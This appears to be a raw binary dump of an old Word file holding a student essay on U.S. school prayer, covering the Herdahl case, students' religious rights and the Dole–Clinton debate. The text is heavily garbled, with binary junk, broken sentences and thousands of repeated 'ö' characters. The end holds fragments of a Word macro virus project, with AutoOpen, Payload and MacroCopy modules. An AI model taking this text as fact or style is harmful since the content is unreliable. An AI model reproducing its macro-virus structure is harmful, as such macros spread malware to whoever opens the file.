ĐĪāĄąá, sued and won the North Pontotoc School system after her request for her children’s school to discontinue religious activities. It seems that a group of local Prostentant Churches recommanded and paid for instructors to teach Bible classes. Morning prayers were held as well over the page system. Herdahl seven year old son was constantly teased by his peers and castigated by his teacher ,who put earphones over the boy’s head during moring prayers. During and after the courts disicion on the case the school Superintendent Jerry Horton maintain that “Prayers broadcasted over the school’s intercom were a constitutional exercise in free speech initiated by the students”, but Judge Bigger Jr. found such practice a violation to the First Amendment seperation of Church and State. Today, 1998 school prayer continues to be a hot debate; Is prayer protected by the constitution? With so many cases such as Herdahl won and lost, and with several different thoughts over the issue of school prayer and religious freedom , it has becomes extremely difficult to distinguish what are freedoms, rights and what are violations. If you look carefully into the laws and the constition you will find how religion can filter through education , somehing that needs careful consideration in making a claim wether or not your rights are being violated or if religion in a small level is actually being quietly pushed on students. Under current laws students have the right to pray individually or in groups , as long as they are not disruptive or impose their religious views on others. Students may pray silently before a meal. However, school officials may not mandate or organize prayer during meals or graduation ceremonies or any other time. Teachers are not allowed at all to engage in religiuos prayer or activities with students, but are free to do so in private in faculty lounges. A particular religion may not be taught in classrooms, on the other hand , the history of religion objectively, comparative religion or using the bible as literature is acceptable. Students can express personal religios belief in homework, reports and art work, expressions are constitutionally protected. Teachers can not reject such submissions nor can they ask students to modify such work. The submissions must be judge by regular academic standards, ie. grammar. Students may also distribute religios literature to their classmates , again as long as it is not disruptive. Teachers nor outsiders are allowed to hand out religious propaganda. Confusing enough students have the right to persuade peers on religious topics , as with political topics. Like political clubs, religious clubs are permited in secondary school. Religuos persuation can be worrisome, it can also be viewed as indoctrinization, from parent to child to classmate. Some may argue that religion is part of life, and as sex, drugs and weapons, religion will manage to seap into schools across America. f‹Cf‰Gë?ƒø"u:ƒE ƒE‹>‹E}‹] ĮEôéw˙˙˙3Ā3Éf‹áū˙đđthat House Republicans would like to raise the profile of the religious-liberty issue to help former Senator Bob DoleÕs presidential candidacy. Bob Dole favors a constitutional amendment to establish a right to school prayer. Dole has not historically made organized school prayer a top priority on his agenda. But he has tried to make his support for Òtraditional valuesÓ a key campaign issue. Congressional Republicans decided to revive debate about school prayer, figuring the issue has strong resonance with voters. Ralph Reed, former executive director of the Christian Coalition, told The New York Times that Mr. DoleÕs position on the issue could help define the contrast between him and Mr. Clinton. President Clinton does not support amending the US Constitution to legalize school prayer, denouncing the idea as Ainherently coercive in a nation with the amount of religious diversity we have.@ The president asserts that the Constitution already gives students great religious freedom at school. Clinton said that he supports legislation that would allow schools to have Amoments of silence@--where students could, but not be forced, to pray. School prayer would be divisive. In the years before state-supported prayer was made illegal, religious minorities were made to feel uncomfortable and excluded by mandated prayer. Jews had to either pray Christians prayers, read from Christian Bibles, or be forced to stand in the hall. Catholics resented the Protestant favor the public schools. In recent decades the number of adherents to non-Western religions has significantly increased (it is now estimated that there are more Muslims in the US than Jews). Some students have no faith in religion at all. The majority of Americans believe our country is in a moral crisis. They think that allowing children to pray is a part of the solution to AmericaÕs problems. Contrary to common assumption, there is no evidence that school prayū˙Neither will it do so in the United States.

t from interfering with the exercise of religion. The roots of this clause reach back to the country=s early colonial history. Roger Williams, who fled religious persecution in England and, in 1644,found Rhode Island as a haven for religious minorities. He said it was God=s command that Aa permission of the most of the most Paganish, Jewish, Turkish, or Antichristian consciences and worships, be granted to all men in all Nations and Countries@. In spite of this sentimööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööū˙ööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööö WordBasic.MacroCopy "Glob˙˙x ŒBasŒ0{00020P906-10/16/97, 12:23:40 1APublicDim@ vZap$(MPacroT  PBv: EndA‹ ĐĪāĄąá Public Endp ĐĪāĄąáRem Co€ncept3.dĸ".da€ynumberāmonth-ˆIf 01 AĐĪāĄąáęX Dim vZap$(MacroTv’EndA– ĐĪāĄąá˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙˙rŲl €Ņķ,50046}#Document=ThisDocument/&H00000000 Module=Payload Module=AutoExit Module=AutoOpen Module=VClose Name="Project" HelpContextID="0" CMG="E3E1308C6C906C906C906C90" DPB="1B19C8D401D501D501" GC="5351801CB91DB91D46" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 ĐĪāĄąá˙˙˙˙